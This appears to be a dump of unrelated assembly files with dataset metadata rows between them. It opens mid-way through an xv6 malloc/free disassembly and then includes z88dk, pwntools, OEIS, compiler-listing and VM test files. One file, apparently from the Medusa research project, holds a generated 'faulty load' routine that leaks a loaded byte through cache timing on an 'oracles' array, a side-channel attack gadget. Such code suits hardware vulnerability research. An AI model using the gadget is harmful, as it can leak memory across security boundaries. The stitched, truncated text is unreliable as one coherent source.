b0d: 76 ca jbe ad9 <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
b0f: 8b 45 f8 mov -0x8(%ebp),%eax
b12: 8b 40 04 mov 0x4(%eax),%eax
b15: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
b1c: 8b 45 f8 mov -0x8(%ebp),%eax
b1f: 01 c2 add %eax,%edx
b21: 8b 45 fc mov -0x4(%ebp),%eax
b24: 8b 00 mov (%eax),%eax
b26: 39 c2 cmp %eax,%edx
b28: 75 24 jne b4e <free+0x8e>
bp->s.size += p->s.ptr->s.size;
b2a: 8b 45 f8 mov -0x8(%ebp),%eax
b2d: 8b 50 04 mov 0x4(%eax),%edx
b30: 8b 45 fc mov -0x4(%ebp),%eax
b33: 8b 00 mov (%eax),%eax
b35: 8b 40 04 mov 0x4(%eax),%eax
b38: 01 c2 add %eax,%edx
b3a: 8b 45 f8 mov -0x8(%ebp),%eax
b3d: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
b40: 8b 45 fc mov -0x4(%ebp),%eax
b43: 8b 00 mov (%eax),%eax
b45: 8b 10 mov (%eax),%edx
b47: 8b 45 f8 mov -0x8(%ebp),%eax
b4a: 89 10 mov %edx,(%eax)
b4c: eb 0a jmp b58 <free+0x98>
} else
bp->s.ptr = p->s.ptr;
b4e: 8b 45 fc mov -0x4(%ebp),%eax
b51: 8b 10 mov (%eax),%edx
b53: 8b 45 f8 mov -0x8(%ebp),%eax
b56: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
b58: 8b 45 fc mov -0x4(%ebp),%eax
b5b: 8b 40 04 mov 0x4(%eax),%eax
b5e: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
b65: 8b 45 fc mov -0x4(%ebp),%eax
b68: 01 d0 add %edx,%eax
b6a: 3b 45 f8 cmp -0x8(%ebp),%eax
b6d: 75 20 jne b8f <free+0xcf>
p->s.size += bp->s.size;
b6f: 8b 45 fc mov -0x4(%ebp),%eax
b72: 8b 50 04 mov 0x4(%eax),%edx
b75: 8b 45 f8 mov -0x8(%ebp),%eax
b78: 8b 40 04 mov 0x4(%eax),%eax
b7b: 01 c2 add %eax,%edx
b7d: 8b 45 fc mov -0x4(%ebp),%eax
b80: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
b83: 8b 45 f8 mov -0x8(%ebp),%eax
b86: 8b 10 mov (%eax),%edx
b88: 8b 45 fc mov -0x4(%ebp),%eax
b8b: 89 10 mov %edx,(%eax)
b8d: eb 08 jmp b97 <free+0xd7>
} else
p->s.ptr = bp;
b8f: 8b 45 fc mov -0x4(%ebp),%eax
b92: 8b 55 f8 mov -0x8(%ebp),%edx
b95: 89 10 mov %edx,(%eax)
freep = p;
b97: 8b 45 fc mov -0x4(%ebp),%eax
b9a: a3 88 10 00 00 mov %eax,0x1088
}
b9f: c9 leave
ba0: c3 ret
00000ba1 <morecore>:
static Header*
morecore(uint nu)
{
ba1: 55 push %ebp
ba2: 89 e5 mov %esp,%ebp
ba4: 83 ec 28 sub $0x28,%esp
char *p;
Header *hp;
if(nu < 4096)
ba7: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
bae: 77 07 ja bb7 <morecore+0x16>
nu = 4096;
bb0: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
bb7: 8b 45 08 mov 0x8(%ebp),%eax
bba: c1 e0 03 shl $0x3,%eax
bbd: 89 04 24 mov %eax,(%esp)
bc0: e8 30 fc ff ff call 7f5 <sbrk>
bc5: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
bc8: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
bcc: 75 07 jne bd5 <morecore+0x34>
return 0;
bce: b8 00 00 00 00 mov $0x0,%eax
bd3: eb 22 jmp bf7 <morecore+0x56>
hp = (Header*)p;
bd5: 8b 45 f4 mov -0xc(%ebp),%eax
bd8: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
bdb: 8b 45 f0 mov -0x10(%ebp),%eax
bde: 8b 55 08 mov 0x8(%ebp),%edx
be1: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
be4: 8b 45 f0 mov -0x10(%ebp),%eax
be7: 83 c0 08 add $0x8,%eax
bea: 89 04 24 mov %eax,(%esp)
bed: e8 ce fe ff ff call ac0 <free>
return freep;
bf2: a1 88 10 00 00 mov 0x1088,%eax
}
bf7: c9 leave
bf8: c3 ret
00000bf9 <malloc>:
void*
malloc(uint nbytes)
{
bf9: 55 push %ebp
bfa: 89 e5 mov %esp,%ebp
bfc: 83 ec 28 sub $0x28,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
bff: 8b 45 08 mov 0x8(%ebp),%eax
c02: 83 c0 07 add $0x7,%eax
c05: c1 e8 03 shr $0x3,%eax
c08: 83 c0 01 add $0x1,%eax
c0b: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
c0e: a1 88 10 00 00 mov 0x1088,%eax
c13: 89 45 f0 mov %eax,-0x10(%ebp)
c16: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
c1a: 75 23 jne c3f <malloc+0x46>
base.s.ptr = freep = prevp = &base;
c1c: c7 45 f0 80 10 00 00 movl $0x1080,-0x10(%ebp)
c23: 8b 45 f0 mov -0x10(%ebp),%eax
c26: a3 88 10 00 00 mov %eax,0x1088
c2b: a1 88 10 00 00 mov 0x1088,%eax
c30: a3 80 10 00 00 mov %eax,0x1080
base.s.size = 0;
c35: c7 05 84 10 00 00 00 movl $0x0,0x1084
c3c: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
c3f: 8b 45 f0 mov -0x10(%ebp),%eax
c42: 8b 00 mov (%eax),%eax
c44: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
c47: 8b 45 f4 mov -0xc(%ebp),%eax
c4a: 8b 40 04 mov 0x4(%eax),%eax
c4d: 3b 45 ec cmp -0x14(%ebp),%eax
c50: 72 4d jb c9f <malloc+0xa6>
if(p->s.size == nunits)
c52: 8b 45 f4 mov -0xc(%ebp),%eax
c55: 8b 40 04 mov 0x4(%eax),%eax
c58: 3b 45 ec cmp -0x14(%ebp),%eax
c5b: 75 0c jne c69 <malloc+0x70>
prevp->s.ptr = p->s.ptr;
c5d: 8b 45 f4 mov -0xc(%ebp),%eax
c60: 8b 10 mov (%eax),%edx
c62: 8b 45 f0 mov -0x10(%ebp),%eax
c65: 89 10 mov %edx,(%eax)
c67: eb 26 jmp c8f <malloc+0x96>
else {
p->s.size -= nunits;
c69: 8b 45 f4 mov -0xc(%ebp),%eax
c6c: 8b 40 04 mov 0x4(%eax),%eax
c6f: 2b 45 ec sub -0x14(%ebp),%eax
c72: 89 c2 mov %eax,%edx
c74: 8b 45 f4 mov -0xc(%ebp),%eax
c77: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
c7a: 8b 45 f4 mov -0xc(%ebp),%eax
c7d: 8b 40 04 mov 0x4(%eax),%eax
c80: c1 e0 03 shl $0x3,%eax
c83: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
c86: 8b 45 f4 mov -0xc(%ebp),%eax
c89: 8b 55 ec mov -0x14(%ebp),%edx
c8c: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
c8f: 8b 45 f0 mov -0x10(%ebp),%eax
c92: a3 88 10 00 00 mov %eax,0x1088
return (void*)(p + 1);
c97: 8b 45 f4 mov -0xc(%ebp),%eax
c9a: 83 c0 08 add $0x8,%eax
c9d: eb 38 jmp cd7 <malloc+0xde>
}
if(p == freep)
c9f: a1 88 10 00 00 mov 0x1088,%eax
ca4: 39 45 f4 cmp %eax,-0xc(%ebp)
ca7: 75 1b jne cc4 <malloc+0xcb>
if((p = morecore(nunits)) == 0)
ca9: 8b 45 ec mov -0x14(%ebp),%eax
cac: 89 04 24 mov %eax,(%esp)
caf: e8 ed fe ff ff call ba1 <morecore>
cb4: 89 45 f4 mov %eax,-0xc(%ebp)
cb7: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
cbb: 75 07 jne cc4 <malloc+0xcb>
return 0;
cbd: b8 00 00 00 00 mov $0x0,%eax
cc2: eb 13 jmp cd7 <malloc+0xde>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
cc4: 8b 45 f4 mov -0xc(%ebp),%eax
cc7: 89 45 f0 mov %eax,-0x10(%ebp)
cca: 8b 45 f4 mov -0xc(%ebp),%eax
ccd: 8b 00 mov (%eax),%eax
ccf: 89 45 f4 mov %eax,-0xc(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
cd2: e9 70 ff ff ff jmp c47 <malloc+0x4e>
}
cd7: c9 leave
cd8: c3 ret
| 34.615609 | 104 | 0.446639 | [
"MIT-0"
] | reutz19/xv6_ass2 | primsrv.asm | 59,435 | Assembly |
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r15
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0xe909, %rsi
lea addresses_D_ht+0xd209, %rdi
nop
cmp %rbx, %rbx
mov $55, %rcx
rep movsw
nop
nop
nop
nop
xor $58418, %rbp
lea addresses_A_ht+0x1703, %rcx
clflush (%rcx)
nop
and %r15, %r15
movw $0x6162, (%rcx)
dec %rbp
lea addresses_D_ht+0x8909, %rbp
nop
add %r13, %r13
mov (%rbp), %rbx
xor %rdi, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r15
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r14
push %rbp
push %rdx
push %rsi
// Store
lea addresses_A+0x1f5ed, %rbp
clflush (%rbp)
nop
cmp $2859, %r14
movl $0x51525354, (%rbp)
nop
nop
nop
nop
nop
sub %rbp, %rbp
// Store
mov $0x409, %r13
nop
nop
nop
nop
nop
xor $3188, %rbp
movw $0x5152, (%r13)
nop
nop
nop
nop
xor $26509, %r13
// Faulty Load
lea addresses_PSE+0xe409, %rsi
nop
sub %rbp, %rbp
movntdqa (%rsi), %xmm2
vpextrq $0, %xmm2, %rdx
lea oracles, %rsi
and $0xff, %rdx
shlq $12, %rdx
mov (%rsi,%rdx,1), %rdx
pop %rsi
pop %rdx
pop %rbp
pop %r14
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_PSE', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_A', 'size': 4, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_P', 'size': 2, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': True, 'type': 'addresses_PSE', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'00': 295, '52': 21534}
52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52
*/
| 45.711712 | 2,999 | 0.655893 | [
"MIT"
] | danielmgmi/medusa | Transynther/_processed/AVXALIGN/_st_zr_/i3-7100_9_0xca_notsx.log_21829_421.asm | 5,074 | Assembly |
# Test simple builtin call, 3 is
# the sqrt function, repeat 10 times
#
pushd 10.0
store 0
L1: load 0
pushs "Number = "
pushi 1
print
load 0
pushi 1
println
pushs "Square root = "
pushi 1
print
load 0
pushi 3
builtin
pushi 1
println
load 0
pushd 1.0
sub
store 0
load 0
pushd 0.0
isGt
jmpIfTrue L1
halt
| 15.2 | 36 | 0.486842 | [
"Apache-2.0"
] | Irwin1985/BookPart_2 | VirtualMachine/Win32/VMTests/assProg14.asm | 456 | Assembly |
include stdiolib.i
CGROUP group code
code segment dword 'CODE'
assume cs:CGROUP,ds:CGROUP
STDIOLIB_JUMP sprintf siol_sprintf
code ends
end
| 13.083333 | 35 | 0.738854 | [
"BSD-3-Clause"
] | AnimatorPro/Animator-Pro | src/PJ/rexlib/stdiolib/sprintf.asm | 157 | Assembly |
MODULE generic_console_ioctl
PUBLIC generic_console_ioctl
SECTION code_clib
INCLUDE "ioctl.def"
EXTERN generic_console_cls
EXTERN __console_h
EXTERN __console_w
EXTERN __spc1000_mode
EXTERN generic_console_font32
EXTERN generic_console_udg32
EXTERN __tms9918_console_ioctl
INCLUDE "target/spc1000/def/spc1000.def"
EXTERN generic_console_caps
PUBLIC CLIB_GENCON_CAPS
defc CLIB_GENCON_CAPS = CAPS_MODE0
; Text
defc CAPS_MODE0 = CAP_GENCON_INVERSE | CAP_GENCON_FG_COLOUR | CAP_GENCON_BG_COLOUR
; Hires
defc CAPS_MODE1 = CAP_GENCON_INVERSE | CAP_GENCON_CUSTOM_FONT | CAP_GENCON_UDGS
; Colour
defc CAPS_MODE2 = CAP_GENCON_INVERSE | CAP_GENCON_CUSTOM_FONT | CAP_GENCON_UDGS | CAP_GENCON_FG_COLOUR | CAP_GENCON_BG_COLOUR
; a = ioctl
; de = arg
generic_console_ioctl:
ex de,hl
ld c,(hl) ;bc = where we point to
inc hl
ld b,(hl)
cp IOCTL_GENCON_SET_FONT32
jr nz,check_set_udg
ld (generic_console_font32),bc
success:
and a
ret
check_set_udg:
cp IOCTL_GENCON_SET_UDGS
jr nz,check_mode
ld (generic_console_udg32),bc
jr success
check_mode:
cp IOCTL_GENCON_SET_MODE
jr nz,failure
ld a,c ; The mode
ld h,@00000000
ld l,16
ld c,32
ld d,CAPS_MODE0
and a
jr z,set_mode
ld h,MODE_1
ld l,24
ld c,32
ld d,CAPS_MODE1
cp 1 ;HIRES
jr z,set_mode
ld h,MODE_2
ld l,24
ld c,16
ld d,CAPS_MODE2
cp 2 ;COLOUR
jr z,set_mode
cp 10 ;Switch to VDP
jr c,failure
ld c,a
ld a,10
ld (__spc1000_mode),a
ld a,24
ld (__console_h),a
ld a,d
ld (generic_console_caps),a
ld a,c
sub 10
ld l,a
ld h,0
push hl
ld hl,0
add hl,sp
ex de,hl
ld a,IOCTL_GENCON_SET_MODE
call __tms9918_console_ioctl
pop hl
jr success
set_mode:
ld (__spc1000_mode),a
ld a,c
ld (__console_w),a
ld bc,$2000
out (c),h
ld a,l
ld (__console_h),a
call generic_console_cls
and a
ret
failure:
scf
ret
| 20.688679 | 136 | 0.632011 | [
"BSD-2-Clause"
] | ByteProject/Puddle-BuildTools | FictionTools/z88dk/libsrc/target/spc1000/stdio/generic_console_ioctl.asm | 2,193 | Assembly |
SECTION code_clib
SECTION code_fp_math48
PUBLIC am48_dconst_0
EXTERN mm48__zero_no
; set AC = 0
;
; uses : bc, de, hl
defc am48_dconst_0 = mm48__zero_no
| 12.142857 | 34 | 0.711765 | [
"BSD-2-Clause"
] | ByteProject/Puddle-BuildTools | FictionTools/z88dk/libsrc/_DEVELOPMENT/math/float/math48/z80/am48_dconst_0.asm | 170 | Assembly |
; Provided under the CC0 license. See the included LICENSE.txt for details.
; every bank has this stuff at the same place
; this code can switch to/from any bank at any entry point
; and can preserve register values
; note: lines not starting with a space are not placed in all banks
;
; line below tells the compiler how long this is - do not remove
;size=32
begin_bscode
ldx #$ff
ifconst FASTFETCH ; using DPC+
stx FASTFETCH
endif
txs
if bankswitch == 64
lda #(((>(start-1)) & $0F) | $F0)
else
lda #>(start-1)
endif
pha
lda #<(start-1)
pha
BS_return
pha
txa
pha
tsx
if bankswitch != 64
lda 4,x ; get high byte of return address
rol
rol
rol
rol
and #bs_mask ;1 3 or 7 for F8/F6/F4
tax
inx
else
lda 4,x ; get high byte of return address
tay
ora #$10 ; change our bank nibble into a valid rom mirror
sta 4,x
tya
lsr
lsr
lsr
lsr
tax
inx
endif
BS_jsr
lda bankswitch_hotspot-1,x
pla
tax
pla
rts
if ((* & $1FFF) > ((bankswitch_hotspot & $1FFF) - 1))
echo "WARNING: size parameter in banksw.asm too small - the program probably will not work."
echo "Change to",[(*-begin_bscode+1)&$FF]d,"and try again."
endif
| 19.30303 | 96 | 0.629513 | [
"CC0-1.0"
] | batari-Basic/batari-Basic | includes/banksw.asm | 1,274 | Assembly |
; A215206: Primes congruent to {2, 7} mod 11.
; Submitted by Jon Maiga
; 2,7,13,29,73,79,101,139,167,211,227,233,271,277,293,337,359,409,431,491,541,557,563,601,607,673,733,739,761,821,827,887,937,953,997,1019,1063,1069,1091,1129,1151,1201,1217,1223,1283,1289,1327,1399,1459,1481,1487,1531,1553,1597,1613,1619,1657,1663,1723,1789,1811,1861,1877,1949,1987,1993,2053,2081,2141,2207,2213,2251,2273,2339,2383,2389,2411,2477,2521,2543,2609,2647,2713,2719,2741,2801,2851,2917,2939,2999,3049,3109,3137,3181,3203,3307,3313,3329,3373,3461
mov $1,1
mov $2,332202
mov $5,1
lpb $2
mov $3,$5
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,5
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
sub $2,18
add $5,$1
gcd $1,2
sub $5,1
lpe
mov $0,$5
add $0,1
| 33.25 | 458 | 0.695489 | [
"Apache-2.0"
] | ckrause/loda-programs | oeis/215/A215206.asm | 798 | Assembly |
<%
from pwnlib.shellcraft.aarch64.linux import syscall
%>
<%page args="fd, buf"/>
<%docstring>
Invokes the syscall fstat64. See 'man 2 fstat64' for more information.
Arguments:
fd(int): fd
buf(stat64): buf
</%docstring>
${syscall('SYS_fstat64', fd, buf)}
| 18.333333 | 71 | 0.665455 | [
"MIT"
] | FDlucifer/binjitsu | pwnlib/shellcraft/templates/aarch64/linux/fstat64.asm | 275 | Assembly |
; A254782: Indices of centered hexagonal numbers (A003215) which are also centered pentagonal numbers (A005891).
; Submitted by Jamie Morken(s4)
; 1,11,231,5061,111101,2439151,53550211,1175665481,25811090361,566668322451,12440892003551,273132955755661,5996484134620981,131649518005905911,2890292911995309051,63454794545890893201,1393115187097604341361,30585079321601404616731,671478629888133297226711,14741944778217331134370901,323651306490893151658933101,7105586798021432005362157311,155999258249980610966308527731,3424878094701552009253425452761,75191318825184163592609051433001,1650784136059350047028145706073251
lpb $0
sub $0,1
mov $1,$3
mul $1,20
add $2,1
add $2,$1
add $3,$2
lpe
mov $0,$3
mul $0,10
add $0,1
| 45.4375 | 470 | 0.841816 | [
"Apache-2.0"
] | ckrause/loda-programs | oeis/254/A254782.asm | 727 | Assembly |
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.24.28117.0
include listing.inc
INCLUDELIB LIBCMT
INCLUDELIB OLDNAMES
CONST SEGMENT
$SG5095 DB '1,2,7,10', 00H
ORG $+7
$SG5097 DB '3,4,5,6', 00H
$SG5099 DB '8', 0a1H, 0a2H, '9', 0a1H, 0a2H, '20', 0a1H, 0a2H, '21', 00H
ORG $+3
$SG5101 DB '22', 00H
ORG $+5
$SG5103 DB 'default', 00H
$SG5106 DB 'Hello World!', 0aH, 00H
CONST ENDS
PUBLIC __local_stdio_printf_options
PUBLIC _vfprintf_l
PUBLIC printf
PUBLIC ?f@@YAXH@Z ; f
PUBLIC main
PUBLIC ?_OptionsStorage@?1??__local_stdio_printf_options@@9@4_KA ; `__local_stdio_printf_options'::`2'::_OptionsStorage
EXTRN __acrt_iob_func:PROC
EXTRN __stdio_common_vfprintf:PROC
EXTRN __ImageBase:BYTE
; COMDAT ?_OptionsStorage@?1??__local_stdio_printf_options@@9@4_KA
_BSS SEGMENT
?_OptionsStorage@?1??__local_stdio_printf_options@@9@4_KA DQ 01H DUP (?) ; `__local_stdio_printf_options'::`2'::_OptionsStorage
_BSS ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$_vfprintf_l DD imagerel $LN4
DD imagerel $LN4+80
DD imagerel $unwind$_vfprintf_l
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$printf DD imagerel $LN6
DD imagerel $LN6+83
DD imagerel $unwind$printf
pdata ENDS
pdata SEGMENT
$pdata$main DD imagerel $LN13
DD imagerel $LN13+35
DD imagerel $unwind$main
pdata ENDS
xdata SEGMENT
$unwind$main DD 010401H
DD 04204H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$printf DD 041b01H
DD 07017521bH
DD 030156016H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$_vfprintf_l DD 081401H
DD 0a6414H
DD 095414H
DD 083414H
DD 070105214H
xdata ENDS
; Function compile flags: /Ogtpy
_TEXT SEGMENT
main PROC
; File C:\Users\libit\source\repos\L025\L025\L025.cpp
; Line 38
$LN13:
sub rsp, 40 ; 00000028H
; Line 39
lea rcx, OFFSET FLAT:$SG5106
call printf
; Line 41
lea rcx, OFFSET FLAT:$SG5095
call printf
xor eax, eax
add rsp, 40 ; 00000028H
ret 0
main ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
_TEXT SEGMENT
a$ = 8
?f@@YAXH@Z PROC ; f
; File C:\Users\libit\source\repos\L025\L025\L025.cpp
; Line 8
dec ecx
cmp ecx, 21
ja SHORT $LN8@f
movsxd rax, ecx
lea rdx, OFFSET FLAT:__ImageBase
movzx eax, BYTE PTR $LN10@f[rdx+rax]
mov ecx, DWORD PTR $LN11@f[rdx+rax*4]
add rcx, rdx
jmp rcx
$LN4@f:
; Line 14
lea rcx, OFFSET FLAT:$SG5095
; Line 35
jmp printf
$LN5@f:
; Line 20
lea rcx, OFFSET FLAT:$SG5097
; Line 35
jmp printf
$LN6@f:
; Line 26
lea rcx, OFFSET FLAT:$SG5099
; Line 35
jmp printf
$LN7@f:
; Line 29
lea rcx, OFFSET FLAT:$SG5101
; Line 35
jmp printf
$LN8@f:
; Line 32
lea rcx, OFFSET FLAT:$SG5103
; Line 35
jmp printf
npad 3
$LN11@f:
DD $LN4@f
DD $LN5@f
DD $LN6@f
DD $LN7@f
DD $LN8@f
$LN10@f:
DB 0
DB 0
DB 1
DB 1
DB 1
DB 1
DB 0
DB 2
DB 2
DB 0
DB 4
DB 4
DB 4
DB 4
DB 4
DB 4
DB 4
DB 4
DB 4
DB 2
DB 2
DB 3
?f@@YAXH@Z ENDP ; f
_TEXT ENDS
; Function compile flags: /Ogtpy
; COMDAT printf
_TEXT SEGMENT
_Format$ = 80
printf PROC ; COMDAT
; File C:\Program Files (x86)\Windows Kits\10\include\10.0.17763.0\ucrt\stdio.h
; Line 954
$LN6:
mov QWORD PTR [rsp+8], rcx
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+24], r8
mov QWORD PTR [rsp+32], r9
push rbx
push rsi
push rdi
sub rsp, 48 ; 00000030H
mov rdi, rcx
; Line 957
lea rsi, QWORD PTR _Format$[rsp+8]
; Line 958
mov ecx, 1
call __acrt_iob_func
mov rbx, rax
; Line 643
call __local_stdio_printf_options
xor r9d, r9d
mov QWORD PTR [rsp+32], rsi
mov r8, rdi
mov rdx, rbx
mov rcx, QWORD PTR [rax]
call __stdio_common_vfprintf
; Line 961
add rsp, 48 ; 00000030H
pop rdi
pop rsi
pop rbx
ret 0
printf ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; COMDAT _vfprintf_l
_TEXT SEGMENT
_Stream$ = 64
_Format$ = 72
_Locale$ = 80
_ArgList$ = 88
_vfprintf_l PROC ; COMDAT
; File C:\Program Files (x86)\Windows Kits\10\include\10.0.17763.0\ucrt\stdio.h
; Line 642
$LN4:
mov QWORD PTR [rsp+8], rbx
mov QWORD PTR [rsp+16], rbp
mov QWORD PTR [rsp+24], rsi
push rdi
sub rsp, 48 ; 00000030H
mov rbx, r9
mov rdi, r8
mov rsi, rdx
mov rbp, rcx
; Line 643
call __local_stdio_printf_options
mov r9, rdi
mov QWORD PTR [rsp+32], rbx
mov r8, rsi
mov rdx, rbp
mov rcx, QWORD PTR [rax]
call __stdio_common_vfprintf
; Line 644
mov rbx, QWORD PTR [rsp+64]
mov rbp, QWORD PTR [rsp+72]
mov rsi, QWORD PTR [rsp+80]
add rsp, 48 ; 00000030H
pop rdi
ret 0
_vfprintf_l ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; COMDAT __local_stdio_printf_options
_TEXT SEGMENT
__local_stdio_printf_options PROC ; COMDAT
; File C:\Program Files (x86)\Windows Kits\10\include\10.0.17763.0\ucrt\corecrt_stdio_config.h
; Line 88
lea rax, OFFSET FLAT:?_OptionsStorage@?1??__local_stdio_printf_options@@9@4_KA ; `__local_stdio_printf_options'::`2'::_OptionsStorage
; Line 89
ret 0
__local_stdio_printf_options ENDP
_TEXT ENDS
END
| 19.583673 | 134 | 0.7203 | [
"MIT"
] | zmrbak/ReverseAnalysis | 配套代码/L025/L025/2.1.asm | 4,798 | Assembly |
LW x1, 0(x2)
ADD x2, x1, x1
BNE x1, x2, EXIT
SUB x3, x5, x1
; This is to test the branch instruction
EXIT:
SW x2, 10(x1) | 15.125 | 40 | 0.661157 | [
"MIT"
] | Sai-Manish/Tomasulo-O3-processor | src/branch_test.asm | 121 | Assembly |
